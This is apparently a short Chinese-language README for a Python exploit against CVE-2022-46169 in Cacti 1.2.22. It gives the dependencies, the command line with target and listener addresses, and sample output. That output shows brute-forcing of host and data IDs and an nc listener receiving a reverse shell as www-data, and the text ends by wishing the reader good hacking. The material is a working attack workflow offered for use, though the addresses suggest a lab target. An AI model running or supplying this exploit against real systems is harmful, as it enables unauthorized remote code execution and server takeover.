
这是针对 cacti 1.2.22 的 CVE-2022-46169 漏洞利用程序。该漏洞利用程序可通过 RCE 在您的计算机上获得一个反向 shell。
这是针对 cacti 1.2.22 的 CVE-2022-46169 漏洞利用程序。该漏洞利用程序通过 RCE 在您的计算机上获取一个反向 shell。
optparse requests
先在您计算机的某个端口上进行监听,然后按如下方式运行该漏洞利用程序。
python3 CVE-2022-46169.py -u http://10.129.216.153 --LHOST=10.10.16.23 --LPORT=443
Checking...
The target is vulnerable. Exploiting...
Bruteforcing the host_id and local_data_ids
Bruteforce Success!!
反向 shell 将出现在监听端口上
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.23] from (UNKNOWN) [10.129.216.153] 36828
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$
祝破解好运!!!